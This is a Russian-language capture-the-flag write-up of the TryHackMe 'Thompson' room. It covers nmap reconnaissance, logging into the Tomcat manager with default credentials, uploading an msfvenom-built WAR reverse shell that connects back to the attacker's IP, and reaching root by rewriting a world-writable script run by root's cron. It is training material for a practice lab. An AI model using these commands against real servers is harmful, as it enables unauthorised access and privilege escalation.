TryHackMe - Thompson
Довольно хороший челлендж с загрузкой файлов в tomcat и использованием metasploit
Введение
Это довольно хорошая комната для новичков, которым нужно попрактиковаться с reverse shell через загрузку файлов и получением доступа таким способом. Повышение привилегий не требовалось, так как доступный скрипт нуждался лишь в небольшой доработке.
В целом довольно простой челлендж, но отличный для обучающихся
Nmap
Давайте начнём со сканирования nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
nmap -T4 -n -sC -sV -Pn -p- 10.10.83.60
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fc:05:24:81:98:7e:b8:db:05:92:a6:e7:8e:b0:21:11 (RSA)
| 256 60:c8:40:ab:b0:09:84:3d:46:64:61:13:fa:bc:1f:be (ECDSA)
|_ 256 b5:52:7e:9c:01:9b:98:0c:73:59:20:35:ee:23:f1:a5 (ED25519)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open http Apache Tomcat 8.5.5
|_http-title: Apache Tomcat/8.5.5
|_http-favicon: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Итак, у нас открыто 3 порта
22/tcp
8009/tcp
8080/tcp
Разведка
Давайте посетим сайт по адресу http://10.10.83.60:8080/
Мы видим подстраницу manager
Появляется веб‑форма, но как только мы нажимаем cancel, нас перенаправляет на эту страницу
Мы можем увидеть некоторые учетные данные
1
2
username: tomcat
password: s3cret
Теперь давайте попробуем эти учетные данные
И мы вошли в manager
Initial Access
Мы видим загрузчик файлов, который, судя по всему, принимает только файлы с расширением .war
Давайте скачаем PHP reverse shell по адресу
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
Нам нужно обновить наш IP и PORT и сохранить файл как shell.php.war, так как принимаются только файлы .war
1
2
$ip = '10.11.75.122'; // CHANGE THIS
$port = 1337; // CHANGE THIS
У нас не получается запустить приложение таким образом
Так мы это сделать не сможем, давайте попробуем создать .war файл с помощью metasploit
1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.75.122 LPORT=1337 -f war > exploit.war
Теперь давайте попробуем загрузить файл
Загрузка прошла успешно, теперь откроем порт с нашей стороны и перейдём на страницу нашего эксплойта
User Flag
Мы получили соединение и можем найти user flag по пути /home/jack/user.txt
Root Flag
Давайте посмотрим, какие файлы у нас доступны
1
2
3
4
5
cat id.sh
#!/bin/bash
id > test.txt
uid=0(root) gid=0(root) groups=0(root)
---
Похоже, что у нас есть ссылка, так что давайте посмотрим на cron‑задания
1
2
3
4
5
6
7
8
9
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root cd /home/jack && bash id.sh
1
2
3
4
5
6
7
8
9
ls -la
total 48
drwxr-xr-x 4 jack jack 4096 Aug 23 2019 .
drwxr-xr-x 3 root root 4096 Aug 14 2019 ..
-rw------- 1 root root 1476 Aug 14 2019 .bash_history
-rw-r--r-- 1 jack jack 220 Aug 14 2019 .bash_logout
-rw-r--r-- 1 jack jack 3771 Aug 14 2019 .bashrc
drwx------ 2 jack jack 4096 Aug 14 2019 .cache
-rwxrwxrwx 1 jack jack 26 Aug 14 2019 id.sh
Похоже, что мы можем запускать id.sh от имени root, поэтому можем просто сделать cat содержимого файла root.txt в файл test.txt
1
echo "cat /root/root.txt > test.txt" > id.sh











